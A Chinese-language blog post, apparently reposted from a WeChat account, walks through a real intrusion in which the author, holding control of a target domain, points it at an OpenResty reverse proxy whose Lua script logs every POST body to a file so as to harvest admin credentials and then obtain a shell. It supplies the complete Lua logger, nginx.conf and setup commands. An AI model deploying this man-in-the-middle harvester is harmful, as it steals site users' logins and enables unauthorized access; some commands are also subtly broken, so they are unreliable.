实战中遇到的其中一个小案例,比较简单,当时拿到了目标域名权限,目的是拿到shell,因为审计过代码,发现后台有上传,但没找到后台地址,最后利用此方法拿到了后台地址,账号密码,最后在后台拿到了shell
Nginx+lua 实现请求劫持
环境以及条件:
centos7.2+
openresty
获取域名控制权
为什么要用openresty,而不是直接安装nginx+lua,因为openresty自带nginx和lua,所以只需要一键安装即可
openresty的解释:
OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。
官网链接:http://openresty.org/cn/
访问流程:
正常流程:
客户端通过域名访问到服务器
不正常的流程(中间人,劫持)
由于我们已经拥有了域名的控制权,所以首先将域名解析到我们的代理服务器,再通过代理服务器去访问server,由于流量会经过代理服务器,所以可以用lua脚本在代理服务器上获取中间经过的流量
修改hosts文件
由于我们要劫持的域名www.abc.com
对应的ip是12.12.12.12
为了能让我们的代理服务器成功访问到www.abc.com
里面的信息,所以需要修改hosts文件
# 打开hosts文件
sudo vim /etc/hosts
# 在最后一行写入
12.12.12.12 www.abc.com
安装及配置openresty
参见:http://openresty.org/cn/linux-packages.html#centos
安装成功以后cd
到/usr/local/openresty
下可以看到有下面几个目录
[root@vultr ~]# cd /usr/local/openresty
[root@vultr openresty]# ls
bin COPYRIGHT luajit lualib nginx openssl pcre site zlib
[root@vultr openresty]#
主要的两个目录:nginx
和 lualib
目录
查看nginx是否安装成功:
-
启动nginx
# 载入nginx配置文件
/usr/local/openresty/nginx/sbin -c /usr/local/openresty/nginx/conf/nginx.conf
# 检查nginx配置文件是否正确
/usr/local/openresty/nginx/sbin -t
# 启动nginx
/usr/local/openresty/nginx/sbin -s reload
以上完成以后直接输入当前域名或ip地址访问既可以查看到welcome to openresty
之类的提示信息
lua 脚本配置
首先在lualib下面新建一个配置文件并写入内容vim /usr/local/openresty/lualib/ngx/lanjie.lua
写入:
-- 写脚本
function writefile(logfile,msg)
local fd = io.open(logfile,"ab")
if fd == nil then return end
fd:write(msg)
fd:flush()
fd:close()
end
--获取访问信息
local url=ngx.var.request_uri
local method=ngx.req.get_method()
if method == "POST" then
ngx.req.read_body()
local data33 = ngx.req.get_body_data()
writefile("/home/www/1111333.txt", data33.. "rn")
end
注意里面有一个/home/www/1111333.txt
这个是用来存放post请求值的文件,可以任意修改,但是这个文件一定得存在,并且权限最好为777权限
nginx 配置文件
cd
到/usr/local/openresty/nginx/conf
目录
将原本的nginx.conf 备份一下
cp nginx.conf nginx.conf.bak
接着vim nginx.conf
将以下内容写入nginx.conf
worker_processes 1;
events {
worker_connections 1024;
}
http {
access_by_lua_file /usr/local/openresty/lualib/ngx/lanjie.lua;
server {
listen 80;
server_name localhost;
index index.php index.html index.htm default.php default.htm default.html;
error_page 404 /404.html;
error_page 502 /502.html;
location / {
proxy_pass http://www.abc.com;
proxy_set_header Host www.abc.com;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_set_header refer "http://www.abc.com/$request_uri";
add_header X-Cache $upstream_cache_status;
}
location ~ .*.(php|jsp|cgi|asp|aspx|flv|swf|xml)?$ {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_pass http://www.abc.com;
}
location ~ .*.(html|htm|png|gif|jpeg|jpg|bmp|js|css)?$ {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_pass http://www.abc.com;
expires 24h;
}
}
}
注意,请将nginx配置文件里面的域名修改为你劫持的域名
最后
日志查看/usr/local/openresty/nginx/logs
目录里面有访问日志以及错误日志
/home/www/1111333.txt
里面有网站的post包数据,这里截图没截取完整(后台地址可以从nginx的日志里面看到)
可以举一反三,实际上此方法可以用来操作很多东西,依情况而定
参考链接:https://www.t00ls.net/viewthread.php?tid=48550
https://www.leavesongs.com/SOFT/play-with-openresty-lua-web.html
本文始发于微信公众号(台下言书):实战Nginx+lua 实现请求劫持
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论